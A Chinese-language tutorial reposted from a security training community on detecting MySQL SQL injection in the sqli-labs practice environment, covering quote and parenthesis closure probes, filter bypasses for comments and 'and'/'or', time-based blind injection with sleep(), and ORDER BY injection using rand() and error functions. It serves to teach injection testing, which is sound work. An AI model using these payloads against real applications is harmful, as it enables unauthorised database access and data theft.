sql语句连接后怎么判断引号

首页 > 教育培训 > 作者:YD1662023-06-04 19:22:06

文章来自赛克艾威安全社区 id:ff1209125020,感谢ff1209125020学员的用心总结,主要针对目前主流的mysql数据库SQL注入检测语句及原理进行总结,攻击靶场环境使用sqli,特点:语言精炼,思路清晰,希望大家有所收获,如有疑问欢迎留言

sql语句连接后怎么判断引号,(1)

一、判断变量处理和单引号括号有没有关系:

1、加 " ' ": http://x.x.x.x/sqli/less-1/?id=1' ,返回正常就判断是否和双引号有关系

输出异常:最后在加上 “-- ” :http://x.x.x.x/sqli/less-1/?id=1' -- ,输出正常,参数处理为 id='$id',还输出异常则可能“-”被过滤,尝试 id=1' and '1'='1 和 id=1' and '1'='2

2、尝试:id=1')

输出异常:最后在加上 “-- ”:http://x.x.x.x/sqli/less-1/?id=1') -- ,输出正常,参数处理为 id=('$id'),还输出异常则可能“-”被过滤,尝试 id=1') and ('1')=('1 和 id=1') and ('1')=('2

3、尝试:id=1'))

输出异常:最后在加上 “-- ”:http://x.x.x.x/sqli/less-1/?id=1')) -- ,输出正常,参数处理为 id=(('$id')),还输出异常则可能“-”被过滤,尝试 id=1')) and (('1')=(('1 和 id=1')) and (('1'))=(('2


二、判断变量处理和双引号有没有关系,和以上步骤一样。

  1. “-”过滤,不用注释符号,使用and闭合
  2. “and”“or”过滤,使用大小写混写(ANd),或者在and单词之间再写一个and(anandd)。还有使用“&&”和“||”分别代替“and”和“or”

三、尝试:id=1-1 或者 1+1 //+ 是加号的URL编码,因为加号在URL中有特殊意义,表示空格,所以这里需要用这种转码方式来用加号

返回两个数计算过后查询的结果,可能为

  1. 整型:id=$id
  2. id=($id)
  3. id=(($id))

如果返回原来的页面,则是经过单引号或者双引号处理或者第一个数字后面的字符被过滤,尝试其他方法


四、判断时间盲注

比如一个URL:http://x.x.x.x/sqli/less-10/?id=1

输入什么值都显示的页面一致

  1. id=1 and sleep(4) -- 或者 id=1) and sleep(4) -- //延时打开网页,变量处理为:id=$id
  2. id=1' and sleep(4) -- 或者 id=1" and sleep(4) -- //延时打开网页,字符串处理为:id='$id' 或者 id="$id"
  3. id=1') and sleep(4) -- 或者 id=1')) and sleep(4) -- //延时打开网页,字符串处理为:id=('$id') 或者 id=("$id"),

五、判断order by sort 注入

1、修改数字,排序发生变化,为:sort=$sort 或者sort=($sort),sort不会是字符类型的,因为order by [所有字符] ,排序都是一样的

2、 利用bool注入判断有没有order by 注入。sort=rand(0) 和 sort=rand(1) 排序是不一样的。尝试:sort=rand(()) //必须是双括号.例:sort=rand(((left((select version()),1)=5))) //里面的left()函数返回值和5作比较计算出逻辑值0或1

sql语句连接后怎么判断引号,(2)

sql语句连接后怎么判断引号,(3)

上面这两个排序是一样的,我的版本号第一位是5,再看看第一位等于5时怎么排序

sql语句连接后怎么判断引号,(4)

这样就可以然后逐位猜解了。

3、利用报错注入order by

如果构造参数值能造成页面显示出错误,可以使用报错注入

sql语句连接后怎么判断引号,(5)

就像id参数那样注入,后面跟and 然后报错函数

sql语句连接后怎么判断引号,(6)

问题反馈 单选 0人 0% 较大帮助 0人 0% 有一些帮助 0人 0% 看不懂 0人 0% 还行

栏目热文

文档排行

本站推荐

Copyright © 2018 - 2021 www.yd166.com., All Rights Reserved.